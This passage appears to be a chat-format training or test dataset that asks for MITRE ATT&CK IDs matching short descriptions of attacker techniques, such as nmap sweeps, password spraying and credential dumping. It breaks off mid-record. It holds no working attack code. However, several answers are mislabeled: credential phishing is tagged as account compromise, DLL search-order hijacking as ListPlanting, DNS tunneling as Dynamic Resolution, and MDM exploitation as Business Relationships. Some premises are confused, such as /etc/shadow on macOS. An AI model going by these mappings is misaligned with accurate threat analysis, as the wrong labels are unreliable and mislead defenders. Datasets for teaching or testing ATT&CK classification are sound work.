        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator executed a Linux \"nmap -sn\" broadcast to detect active machines on the network segment."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leverages a password spraying technique to bypass multi-factor authentication on web applications."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is delivered by embedding encrypted payloads within JPEG files using steganographic techniques, which are then decoded by the dropper."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disguised ransomware as 'presentation.pptx.scr', taking advantage of double extensions to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed stolen data within legitimate remote administration tool traffic, sending it back through the compromised RDP session used for C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploited a vulnerability in the organization's VPN service to gain initial access and execute commands on internal hosts."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses credential API hooking to intercept calls to the CredRead function and steal stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat software hides its persistence component by storing it in the resource fork of a user’s configuration file."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script calls the Windows API RegQueryValueEx to retrieve system configuration data."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor executes the NetSessionEnum API to retrieve information about domain trusts within the network."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform credential phishing by sending fake password reset emails to trick users into revealing their email login details."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers multiple domain names that closely resemble popular banking websites to use for phishing sites."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricks users into installing a fake password manager that harvests their saved credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries provision a virtual private server to act as a hub for exfiltrated data from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An automated tool is used to harvest recent file changes and batch upload them to an attacker-controlled FTP site."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a hidden registry key that launches a malicious DLL whenever a specific system service starts, effectively using a trap to execute code on that event."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups exploit the remote PowerShell feature of Azure VMs to run payloads on the host system."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code unloads the hardware security module driver, rendering cryptographic operations ineffective."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the global web.config file to enable directory browsing and upload malicious scripts to the web root."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hidden malicious code is placed inside a normal-looking executable, making the payload execute under the guise of a regular program."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor harvests employee email signatures and social media profiles to discover who in the organization is responsible for privileged account management."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder gathers information by searching for the target company's name combined with filetype:pdf to locate sensitive documents hosted on external sites."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a crafted SMB packet to trigger a remote code execution vulnerability and move laterally."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a malicious .exe attachment that the user double‑clicks, launching a credential‑stealing payload."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a stealthy operation, the attacker sent malformed DeleteInstance requests that triggered automatic instance termination without logging, effectively removing cloud compute resources unnoticed."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses the Windows API NtCreateThreadEx to inject a PE binary into lsass.exe for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a new SSH key to the authorized_keys of a privileged account after compromising it."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a credential dumping routine to pull passwords from the macOS Keychain."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware triggers the 'nvme format' command with secure erase option to wipe NVMe storage."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest credentials from the Windows Credential Provider by injecting code into the logon UI."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker executes 'net localgroup' on a domain-joined host to identify domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious macros in documents initiate HTTP POST requests to a command server for instructions."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor employed a VBA macro that generated the command string dynamically using string reversal before calling cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script hashes a leaked password database and runs offline dictionary attacks to recover plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By embedding PowerShell commands in a .lnk shortcut that calls wscript.exe, the attacker proxies execution of malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor purchases a domain name similar to the target's and uses it for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed malicious PowerShell code in registry keys and execute it directly from memory, avoiding any written files."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan establishes a COM server that other compromised processes connect to, enabling coordinated actions across multiple processes."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware encodes its command‑and‑control traffic with XOR encryption to hide the payload from network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor exploits the DLL search order by dropping a trojaned library into the same folder as a legitimate application, leading to code execution via List Planting."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries establish a covert DNS tunneling channel using a legitimate domain registrar."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows API, the threat actor calls the NetUserAdd function to add a malicious user to the Active Directory domain."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the Accessibility Settings in Group Policy, the attacker configures a startup script that runs with system privileges when any accessibility feature is accessed."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged regsvr32 to execute a malicious JavaScript file by specifying the /i option with a remote URL."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses Nmap's smb-enum-shares script to locate shared folders on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abuses a setuid root binary that runs an insecure script with user-controlled input."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs the Linux command ‘ps aux’ to list all active processes on the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email includes a crafted JPEG image that exploits a buffer overflow in the preview pane, leading to execution of a payload on the user's machine."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor set up a multi-hop proxy network using compromised VPN endpoints to bounce C2 communications across three different geographic locations."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator uses a password spraying technique against Azure AD accounts."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor inspects container runtime socket to list active containers and their resource limits."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion creates a non‑standard .zip archive with a unique password to conceal stolen financial records."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor clears audit logs by recursively deleting log files from /var/log on the compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use an external proxy chain to obscure the source of phishing link clicks."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote access tool splits exfiltrated data into 1 KB chunks, sending each as a separate email attachment to bypass size filters."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool captures the in‑memory keychain entries from the securityd daemon on macOS."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs \"whoami\" on the compromised host to identify the current user context."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary pads malicious files with random garbage bytes before exfiltration to obscure the true payload size and evade signature‑based detection."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the system's PATH environment variable to prepend a directory containing a malicious executable, ensuring their tool runs before the legitimate one."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes creating a fake cron job named 'systemd-update' that launches a payload."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor pads the malicious binary with meaningless bytes to increase its file size and avoid signature-based detection."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leaves a recorded message that appears to be from the company’s HR department, directing employees to a malicious phone-in portal for policy updates."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group deploys containers in a non‑standard cloud region, taking advantage of the lack of logging and alerting in that area."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the threat actor modifies the permission of /etc/shadow to 644, exposing password hashes for later extraction on a macOS system."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a concealed RFID-enabled USB stick to siphon data and later extracted the stick from a vending machine."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries limit the size of files they exfiltrate to avoid detection, sending data in small chunks."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify the user’s crontab to run a download-and-execute routine every 5 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker adds a compromised CronJob to an Azure Kubernetes Service cluster to download and execute ransomware."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected into a serverless function during a dependency update, persisting across deployments."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised VPN account to access the internal network."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Chrome extension installed via corporate policy changed the homepage of the intranet to a defaced version."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware invoked the \"ssh\" command within a script to pivot to internal network hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a malicious Chrome extension to open a WebSocket connection to a remote server, receiving commands via JSON messages."
            },
            {
                "role": "assistant",
                "content": "T1574 - Hijack Execution Flow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses the proc filesystem to dump credentials from running processes on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals compromise a third‑party hardware vendor and embed a hardware keylogger in the USB controllers distributed worldwide."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilize weaknesses in mobile device management solutions to gain access to enterprise networks through employee's personal devices"
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor abuses GPP cpassword entries in SYSVOL to obtain plaintext service account passwords."
            },
            {
                "role": "assistant",
